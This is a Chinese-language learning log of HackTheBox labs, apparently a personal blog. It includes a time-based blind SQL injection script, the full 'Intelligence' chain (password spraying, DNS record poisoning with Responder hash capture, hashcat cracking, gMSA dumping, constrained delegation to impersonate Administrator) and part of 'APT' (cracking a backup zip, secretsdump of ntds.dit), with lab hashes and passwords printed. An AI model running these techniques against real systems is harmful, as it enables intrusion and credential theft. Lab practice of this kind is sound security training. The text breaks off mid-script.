
空密码我先上来看看我之前的操作到底有没有用

没用

也没用

到此结束还是需要多打靶场思路再清晰一点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76


import requests

cookies = {
 'PHPSESSID': 'c8kjhdoo2juviv0rfkgsop4tol',
}

li = list('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/~`"\'\\')

# for i in li:
# print(i)

headers = {
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
 'Accept-Language': 'zh-CN,zh;q=0.9',
 'Cache-Control': 'max-age=0',
 'Content-Type': 'application/x-www-form-urlencoded',
 # 'Cookie': 'PHPSESSID=c8kjhdoo2juviv0rfkgsop4tol',
 'Origin': 'http://10.10.10.239',
 'Proxy-Connection': 'keep-alive',
 'Referer': 'http://10.10.10.239/admin/index.php',
 'Upgrade-Insecure-Requests': '1',
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

# database
# temp = ''
#
# for temp_number in range(1,11):
# for i in li:
# import time
# start = time.time()
# data = f'username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28database%28%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&password=12&login='
# response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
# end = time.time()
# print(i,str(end-start))
# if end-start >= 5.0:
# temp += i
# print(temp)
# break
#
# print(temp)

# username
# temp = ''
#
# for temp_number in range(1,6):
# for i in li:
# import time
# start = time.time()
# data = f'%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+username+FROM+admin%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ'
# response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
# end = time.time()
# print(i,str(end-start))
# if end-start >= 5.0:
# temp += i
# print(temp)
# break
#
# print(temp)

temp = ''

for temp_number in range(1,61):
 for i in li:
 import time
 start = time.time()
 data = f'username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+password+FROM+admin+WHERE+username%3D%22admin%22%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&password=12&login='
 response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
 end = time.time()
 print(i,str(end-start))
 if end-start >= 5.0:
 temp += i
 print(temp)
 break

print(temp)

19.Intelligence

信息收集：

既然有53就先去80收集域名然后看看

80端口

域名：intelligence.htb

53 domain

135

有部分权限

1

rpcclient -U "" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' -N 10.10.10.248

只有enumprivs能成功没什么东西

139/445

ldap

没什么东西这些信息我之前就拿过了

这些服务也算看完了 80端口爆破啥东西也没有再仔细看看把我刚刚用的dnsenum他会从53端口爆破子域名但是没有结果我这里用FFUF自己爆破把

1

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.248 -H "Host: FUZZ.intelligence.htb" --hh 7432

然后我把目光放到了udp上 udp的服务只有123跟其他不一样因为udp的53 88 389跟tcp没区别就这个123 ntp没见过

https://book.hacktricks.xyz/network-services-pentesting/pentesting-ntp

这里有payload

也没啥东西

太奇怪了在前面很多靶场里面我感觉我已经把域方面的信息收集已经了解的很透彻了但是这里我全收集完了出了一个主域以外啥也没有可能是要打exp？

也不行卡住了

但是我在80端口翻到了两个文件

http://intelligence.htb/documents/2020-12-15-upload.pdf

http://intelligence.htb/documents/2020-01-01-upload.pdf

这两个文件里没啥东西

strings还是head都没看出来这个PDF上面也没东西我以为是凯撒加密去解也没东西

也没找到什么域名也没东西

有点难完全没思路了看了下一步的wp

这个文本我也是第一次见获得详细信息的方式我也是第一次见先去学习一下这两个吧

Lorem Ipsum风格文本一般包含重复的拉丁文语

PDF文件元数据分析(用到ExifTool) 可以提取元数据来获取信息

除了做取证的我感觉我想不到这里有这一出知道切入点就行了

找到了两个creator 两个用户名确实是存在的

拿到帐号了用这个

没东西

根据网页里pdf的构造方式

http://dc.intelligence.htb/documents/2020-01-01-upload.pdf

能确定他就是以年月日来命名的可能还会有些隐藏的这种文件而我要提取他们

我开始尝试构造poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


import datetime
import requests

headers = {
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
 'Accept-Language': 'zh-CN,zh;q=0.9',
 'Cache-Control': 'max-age=0',
 # 'If-Modified-Since': 'Thu, 01 Apr 2021 17:00:00 GMT',
 # 'If-None-Match': '"0e86d731827d71:0"',
 'Proxy-Connection': 'keep-alive',
 'Referer': 'http://dc.intelligence.htb/',
 'Upgrade-Insecure-Requests': '1',
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)

date_list = []

while start_date < end_date:
 date_list.append(start_date)
 response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
 start_date += dalta
 if response.status_code == 200:
 print(f'http://intelligence.htb/documents/{start_date}-upload.pdf')
 open('./url.txt','a',encoding='utf-8').write(f'http://intelligence.htb/documents/{start_date}-upload.pdf\n')

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


import PyPDF2
import requests
from io import BytesIO
import datetime

headers = {
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
 'Accept-Language': 'zh-CN,zh;q=0.9',
 'Cache-Control': 'max-age=0',
 'Proxy-Connection': 'keep-alive',
 'Referer': 'http://intelligence.htb/',
 'Upgrade-Insecure-Requests': '1',
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)

def Evidence(start_date):
 try:
 response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
 pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))
 docinfo = pdffile.getDocumentInfo()
 # print('[*] PDF metadata For：'+ str(filepath))
 for metaItem in docinfo:
 print(f'http://intelligence.htb/documents/{start_date}-upload.pdf', end=' ')
 print(metaItem.strip('/'), ":", docinfo[metaItem])
 open('users.txt', 'a', encoding='utf-8').write(docinfo[metaItem] + '\n')
 except Exception as e:
 pass

if __name__ == '__main__':
 while start_date < end_date:
 Evidence(start_date)
 start_date += dalta

值得一提的是如果header携带了下面这两个回包会一直是304

1
2


# 'If-Modified-Since': 'Thu, 01 Apr 2021 17:00:00 GMT',
# 'If-None-Match': '"0e86d731827d71:0"',

我尝试去找SPN账号的hash 但是都没有总感觉遗漏了什么

我新建了一个test.py 将所有pdf的文本全部下载下来写入test.txt里方便我挨个看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


import PyPDF2
import requests
from io import BytesIO
import datetime

headers = {
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
 'Accept-Language': 'zh-CN,zh;q=0.9',
 'Cache-Control': 'max-age=0',
 'Proxy-Connection': 'keep-alive',
 'Referer': 'http://intelligence.htb/',
 'Upgrade-Insecure-Requests': '1',
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)

def Evidence(start_date):
 try:
 response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
 pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))
 docinfo = pdffile.getDocumentInfo()
 # print('[*] PDF metadata For：'+ str(filepath))
 for index, page in enumerate(pdffile.pages): # 遍历所有页面
 open('test.txt', 'a', encoding='utf-8').write(f'http://intelligence.htb/documents/{start_date}-upload.pdf\n')
 open('test.txt', 'a', encoding='utf-8').write(page.extract_text()+'\n\n\n\n\n\n\n')
 except Exception as e:
 pass

if __name__ == '__main__':
 while start_date < end_date:
 Evidence(start_date)
 start_date += dalta

上面的代码参考了很多博客因为我第一次了解到PyPDF2库和from io import BytesIO这个操作再开始写的时候遇到了很多误区找的几个库都无法使用或者很麻烦对我帮助比较大的博客如下如果想自行构造这些poc 大概率也要参考这些博客

https://blog.csdn.net/qq_39147299/article/details/125677918

https://blog.csdn.net/weixin_43047908/article/details/115769321

https://cloud.tencent.com/developer/article/1477328

https://gist.github.com/ceaksan/25034d9bd4496ea953082d2cfa831ad1 #这个帮助最大

找到了默认密码这样就可以暴力破解了

1
2
3


NewIntelligenceCorpUser9876

crackmapexec smb 10.10.10.248 -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-success

只找到一个凭据

1

ntelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

靶机没开winrm 所以这里不能直接连进去有了凭证之后之前看的所有服务都能用这个凭证再去收集一下信息

SMB

SYSVOL 我打算利用SYSVOL还原组策略中保存的密码但是没用保存密码

Users 就是windows下的Users文件夹 flag如下

SMB确实拿不到shell 但是放眼望去除了SMB能拿到信息以外其他服务想要getshell就更不现实了我猜测IIS的网站目录可能就在Users里面我还发现了一个IT文件夹里面就一个文件内容如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

我想到一件事他提到了这个文件隔五分钟运行一次我如果能修改这个文件那就能拿到shell了

但是删不了这个文件也不能上传覆盖没有权限而且整个目录都不能写 powershell一直是我的弱项这里我尝试读懂它

1
2
3
4
5
6
7
8
9


Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

Get-ChildItem获得dns处的所有以web开头的域名遍历所有域名然后以默认权限发送请求到到目标域名如果返回值不为200 那么他会以Ted.Graves@intelligence.htb的身份给Ted.Graves@intelligence.htb发一封邮件表示这个域名所在的服务已经被关闭了

看到跟dns有关的时候我找到了dnstool.py 这个是我唯一记录的跟dns有关的poc 我记录的命令并没有效果

这里的提示我可以添加修改删除AD集成的DNS记录后续如何利用我完全想不通了

如果我去将web开头的域名改成我的然后让他访问失败他也只会给他自己发送一个邮件邮件内容怎么构造的我也能看到所以篡改域名对我来说貌似没大用处

我又开始读那个powershell

1

$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials

向目标发包验证存活用的是默认凭证我这里无法明白的是请求url为什么要携带默认凭证突然就有点理解了在域内互相访问资源的时候都必须要携带凭证才能访问不然会回包401需要认证为了防止这种情况发生所以加了-UseDefaultCredentials参数而当我们篡改了dns记录里面的域名目标向我们发包的时候就可以捕获NTLM或Kerberos密文凭据再进行解密就行

https://www.praetorian.com/blog/unconstrained-delegation-active-directory/

这个博客里我找到了添加的方法

但是拼接好了还是报错如果让我自己拼接命令可能有点困难改命令虽然也难弄但至少工作量少点错误少点

我开始看命令介绍 https://github.com/dirkjanm/krbrelayx 改了之后更改成功了

1

python3 dnstool.py ldap://10.10.10.248:389 -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtest.intelligence.htb -a add -t A -d 10.10.16.14

结果等了半天没反应我接着看参数然后对比了一下原始的命令

1

python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtest.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248

可能我不应该去加那个ldap指定端口我直接把ip加到最后面了

这次没问题了没有报错

原来正确的记录后面是会跟着IP的可以看到上面的那个是我之前的命令后面没有IP 也就是没有记录成功把我不清楚记录了两个一样的域名一个有IP一个没有会不会导致报错所以我又写了一个web开头的域名

收到了请求但是为什么没有凭证呢？可能这不是一个真正的http服务我尝试开一个flask 这个能接收到

还是接收不到凭据我尝试用wireshark 也没有任何作用

到这里我是真的没思路了看了眼wp 他提到了Responder这个工具我开始找方法

1

responder -I tun0

1
2
3
4


[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:3b267a46c774400f:A842C01024C9E8EA01810E4BEE6A41F4:0101000000000000EC36E0307347DB010E813ACCADA649140000000002000800390045003800390001001E00570049004E002D005A004A004500570048003400470041003400540038000400140039004500380039002E004C004F00430041004C0003003400570049004E002D005A004A004500570048003400470041003400540038002E0039004500380039002E004C004F00430041004C000500140039004500380039002E004C004F00430041004C000800300030000000000000000000000000200000583346B9E2E4E1103C4197AA4C60C45E679C02E8DE8EC1AA5F81F4BAA6624FBB0A0010000000000000000000000000000000000009003A0048005400540050002F0077006500620074006500730074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
[*] Skipping previously captured hash for intelligence\Ted.Graves

NTLMv2是5600 直接调用就行

1
2
3


hashcat -m 5600 1.txt /usr/share/wordlists/rockyou.txt

Ted.Graves:Mr.Teddy

没问题登录是完全无法登录的这里用bloodhound远程获取一下刚刚那个账号我尝试获取了但是报错我看看这个账号行不行

我去google了下貌似我这个参数是错的 dc的名称我之前信息收集弄到了就是DC 但是还会报错

https://blog.csdn.net/gitblog_00797/article/details/142076858

这个博客给的payload是-ns 指向dns服务器就行

1

bloodhound-python -d intelligence.htb -u Ted.Graves -p Mr.Teddy -ns 10.10.10.248 -c all

分析了之后发现两个点

当前用户再administrator组里面但是受到UAC限制默认情况是以当前用户权限运行的要想获得管理员权限得在命令行运行下面的命令

1
2
3


runas /user:administrator cmd.exe
psexec -i -s cmd.exe
Start-Process cmd.exe -Verb RunAs

前提是我得获得shell 所以这条路不能走

第二个点是他提到了有一个约束委派的服务账号SVC_INT$

可以通过它来伪造administrator的st 针对某个服务就行这里思路就清晰了

不知道为什么拿不到他的hash 我仔细看了下这个图找到了第二条线

我不了解这个是啥 google之后我找到了这个博客 https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword

1
2
3
4
5
6
7
8


python gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb

Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::8ee3b94d589dba78682293e1281bd394
svc_int$:aes256-cts-hmac-sha1-96:ba3ed0df6c5352e26ba7611354f901c89554733bab88094e8afbaca7368b3a80
svc_int$:aes128-cts-hmac-sha1-96:ab353763ac9cd6431a09819326a4daee

到这一步先暂停我开始了解这个方法的原理

根据这个逻辑

只有ITSUPPORT@INTELLIGENCE.HTB组才能利用GMSA获取svc的密码实际上当前用户没有这个组的权限

至少当前页面是这样的我重新检索了一下

没有问题就是这个组的成员刚刚没有显示出来而已所以才能利用

1
2


ntpdate -u intelligence.htb && date
getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn cifs/intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT

不知道为什么一直报错想了一会想到约束委派应该是有一个特定的服务的而不是我想要什么就是什么还是得去找

找到了

1
2


ntpdate -u intelligence.htb && date
getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn WWW/dc.intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT

没问题了根据约束委派的教程先设置环境变量

1
2


export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache
/usr/share/doc/python3-impacket/examples/wmiexec.py intelligence.htb/administrator@dc.intelligence.htb -k -no-pass

结束

这个靶场是我最近这段时间耗时最长的靶场而且一路上接收新东西搞得有点发昏期间还睡了一觉不光如此 wp我还看了两次如果说前面的所有靶场的都是了解域控的基本流程渗透那这个靶场就是把前面的技巧全部总结了各种出其不意在我思考攻击链的路上一直不断试错一直看哪出了问题不得不说这个博客对我这段时间的域渗透有着很大的帮助有一种总结的作用 https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/ 在里面他虽然每一个地方只提到了一句但是有切入点之后再去搜工具服务的详细信息详细利用就非常容易展开了而且关于上面用到的所有技术这里面都有而我刚开始学的时候也是按照这个流程学的

20.APT

可以看到难度非常高

信息收集:

两个名称把

1
2


W3layouts
HTTrack

这是套用被人的模板他也做了声明我现在需要找是哪个模板如何没有后端的话就代表我不需要在这里努力了如果存在后端我尝试下载源码就行可惜的是我并没有找到但是我尝试了jsfinder帮我去找可能存在的url 他也没有任何提示也就是这就是一个纯前端的网站可能有隐藏的这只能靠目录爆破来找隐藏的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


python /home/kali/hackthebox/JSFinder-master/JSFinder.py -u http://10.10.10.213/ -d -j

ALL Find 8 links
url:http://10.10.10.213/index.html
Remaining 8 | Find 0 URL in http://10.10.10.213/index.html
url:http://10.10.10.213/#
Remaining 7 | Find 0 URL in http://10.10.10.213/#
url:http://10.10.10.213/services.html
Remaining 6 | Find 0 URL in http://10.10.10.213/services.html
url:http://10.10.10.213/clients.html
Remaining 5 | Find 0 URL in http://10.10.10.213/clients.html
url:http://10.10.10.213/about.html
Remaining 4 | Find 0 URL in http://10.10.10.213/about.html
url:http://10.10.10.213/support.html
Remaining 3 | Find 0 URL in http://10.10.10.213/support.html
url:http://10.10.10.213/news.html
Remaining 2 | Find 0 URL in http://10.10.10.213/news.html

这里面我知道找到一个email 有域名

1
2


sales@gigantichosting.com
gigantichosting.com

我将它添加到我的hosts里面然后访问一下http服务看看会不会改变然后我再通过FFUF爆破子域名(并没有什么区别这个域名没有效果)

1

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.213 -H "Host: FUZZ.gigantichosting.com" --hh 14879

80端口全看完了该去看看rpc了

在看RPC之前我看了靶场的介绍

他提到了这是一个非常困难的机器 RPC枚举可以找到IPV6的地址然后对IPV6进行渗透全部都由我自行搜索的话我肯定我是无法完成这个靶机的跟之前一样遇到非常难的靶机的时候我会跟随WP一直做直到我能自行操作的地方因为我看有些WP他们也是基于学习的目的来做这个靶场的重要的是转化成自己的东西

看wp下一步是用rpcmap.py去找信息作为切入点我也尝试了常规的rpcclient空账号密码访问没有效果

1
2
3
4
5
6
7
8
9


rpcclient:
 主要用于SMB/CIFS服务
 Windows域环境中常用
 需要凭据

rpcmap.py/rpcdump.py:
 专注于RPC端点枚举
 不需要凭据
 可以发现更多RPC接口

有切入点开始搜索教程下面的博客讲的很好

https://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/rpc

https://www.cnblogs.com/yuantest/p/15738148.html#smbmsrpc

https://juggernaut-sec.com/ad-recon-msrpc/

我开始尝试

1

rpcmap.py 'ncacn_ip_tcp:10.10.10.213'

还是根据 https://juggernaut-sec.com/ad-recon-msrpc/ 这个博客的提示(我尽量避免看wp的同时进行学习在后面我可能也会遇到我没见过的服务如果没有wp 我只能靠这种方式)

他提到了要主要注重99FCFEC4-5260-101B-BBCB-00AA0021347A

刚好我这里的结果也有这个

非常契合APT这个靶场我都怀疑是不是WP了但实际上并不是他讲述了针对rpc的所有方法这个博客里给的链接都失效了我根据他的py名称找到了项目地址

https://github.com/mubix/IOXIDResolver

1
2
3
4
5


python IOXIDResolver.py -t 10.10.10.213
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f

成功复现

没有问题能通为了方便我给他取了一个域名放入hosts里或者nmap ipv6扫描都行

现在才正式开始

80端口 没什么区别暂时不爆破没其他方法了在爆破因为爆破很卡

135 rpc

1

rpcclient -U "" -N -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' apt.htb

一个权限都没有

389 ldap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


nmap -n -sV --script "ldap* and not brute" -p 389 -6 apt.htb

| dnsHostName: apt.htb.local
| ldapServiceName: htb.local:apt$@HTB.LOCAL
| subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=htb,DC=local
| dsServiceName: CN=NTDS Settings,CN=APT,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local
| namingContexts: DC=htb,DC=local
| namingContexts: CN=Configuration,DC=htb,DC=local
| namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
| namingContexts: DC=DomainDnsZones,DC=htb,DC=local
| namingContexts: DC=ForestDnsZones,DC=htb,DC=local
| defaultNamingContext: DC=htb,DC=local
| schemaNamingContext: CN=Schema,CN=Configuration,DC=htb,DC=local
| configurationNamingContext: CN=Configuration,DC=htb,DC=local
| rootDomainNamingContext: DC=htb,DC=local

域名是htb.local 这样的话我得把hosts里面的域名改了没认证没权限

445 smb

1
2


enum4linux -a -u "" -p "" htb.local && enum4linux -a -u "guest" -p "" htb.local
smbclient -U '%' -L //htb.local && smbclient -U 'guest%' -L //htb.local

1
2
3
4
5
6
7
8
9


smbclient -U '%' -L //htb.local && smbclient -U 'guest%' -L //htb.local

	Sharename Type Comment
	--------- ---- -------
	backup Disk
	IPC$ IPC Remote IPC
	NETLOGON Disk Logon server share
	SYSVOL Disk Logon server share
htb.local is an IPv6 address -- no workgroup available

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


[+] Attempting to map shares on htb.local

//htb.local/backup	Mapping: OK Listing: OK Writing: N/A
//htb.local/IPC$	Mapping: OK Listing: DENIED Writing: N/A

[E] Can't understand response:

do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)
//htb.local/NETLOGON	Mapping: N/A Listing: N/A Writing: N/A

[E] Can't understand response:

do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)
//htb.local/SYSVOL	Mapping: N/A Listing: N/A Writing: N/A

1
2
3


crackmapexec smb htb.local
SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)

上面就是所有信息根据提示可以访问的有backup和IPC$

backup里面有个backup.zip 要一个G 下载太慢直接断开了然后我又访问了几次

连不上了重启之后就好了我开始找能直接在smb下载文件的命令不要断开那种

1
2


smbget -R smb://htb.local/backup #这个要求ip而不是域名 所以不行
mount -t cifs //htb.local/backup/ ./backup	#也不行

针对我学的常规域渗透就差一个53的域名查询了接着来吧

53 dns

这个不行重新爆破新80端口

这完全没区别百分之百就是445的backup.zip 那个里面有东西我尝试看看报错然后尝试下载

https://unix.stackexchange.com/questions/31900/smbclient-alternative-for-large-files

这个博客里的有几种解决方法下面这个方法可以下载成功

1

smbclient -m SMB2 -N '//htb.local/backup' -c 'timeout 120; iosize 16384; get backup.zip'

需要密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


zip2john backup.zip > passwd.hash
ver 2.0 backup.zip/Active Directory/ is not encrypted, or stored with non-handled compression type
ver 2.0 backup.zip/Active Directory/ntds.dit PKZIP Encr: cmplen=8483543, decmplen=50331648, crc=ACD0B2FB ts=9CCA cs=acd0 type=8
ver 2.0 backup.zip/Active Directory/ntds.jfm PKZIP Encr: cmplen=342, decmplen=16384, crc=2A393785 ts=9CCA cs=2a39 type=8
ver 2.0 backup.zip/registry/ is not encrypted, or stored with non-handled compression type
ver 2.0 backup.zip/registry/SECURITY PKZIP Encr: cmplen=8522, decmplen=262144, crc=9BEBC2C3 ts=9AC6 cs=9beb type=8
ver 2.0 backup.zip/registry/SYSTEM PKZIP Encr: cmplen=2157644, decmplen=12582912, crc=65D9BFCD ts=9AC6 cs=65d9 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

只有关键的需要密码 ntds.dit SYSTEM SECURITY

1
2


zip2john backup.zip > passwd.hash -o ntds.dit
zip2john backup.zip

1

backup.zip:$pkzip$4*1*1*0*8*24*9beb*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017ed*1*0*8*24*65d9*2a1c4c81fb6009425c2d904699497b75d843f69f8e623e3edb81596de9e732057d17fae8*1*0*8*24*acd0*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a393785*81733d*37*8*156*2a39*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f6287a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6acf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e158b6a61d184382fbf3052e7fcb6235a996*$/pkzip$

将上面的hash放入文件里然后解就行

1
2
3
4
5
6
7
8
9


john ./hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyousomuch (backup.zip)
1g 0:00:00:00 DONE (2024-12-06 12:42) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

成功了接下来解HTLM就行而且winrm开着的能直接进

1

/usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL > htlm.txt

有一堆账号先把他们提取出来再进行爆破

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


import re

temp_htlm = open('htlm.txt','r',encoding='utf-8').readlines()
for i in temp_htlm:
 temp = i.replace('\n','')
 if 'endstop' in temp:
 break
 temp = temp.split(':')
 try:
 print(temp[0])
 print(temp[3])
 open('userandpass.txt','a',encoding='utf-8').write(temp[0]+':'+temp[2]+":"+temp[3]+'\n')
 open('users.txt', 'a', encoding='utf-8').write(temp[0] + '\n')
 open('hashes.txt', 'a', encoding='utf-8').write(temp[2] + ":" + temp[3] + '\n')
 except:
 pass

我加了个终止符下面的方法暂且不用这样就有了user.txt和hashes.txt 可以爆破了但是如果全都进行一对一爆破势必会很卡首先我去找88端口用kerbrute找出存在的用户名然后再用用户名和hashes.txt一起爆破这样更合理

1

kerbrute userenum --dc htb.local -d htb.local users.txt

刚刚爆破了半天没一点反应重启靶机就好了

都不行

只有三个账号花了很长的时间爆破了将近20分钟默认密码都是错了这三个账号我打算从最下面那个开始爆破

爆破着又不行了这已经是第三次了隔了一会又好了然后又不行了这里有防爆破的机制

445不行我就接着换协议毕竟88端口没有限制 5985winrm可能也没限制得测一下(winrm缺点就是账号密码可能是对的但是无法登录就没办法)

1
2


kerbrute bruteforce --dc htb.local -d htb.local new_userandpass.txt
crackmapexec winrm htb.local -u 1.txt -H hashes.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


import re

temp_htlm = open('htlm.txt','r',encoding='utf-8').readlines()
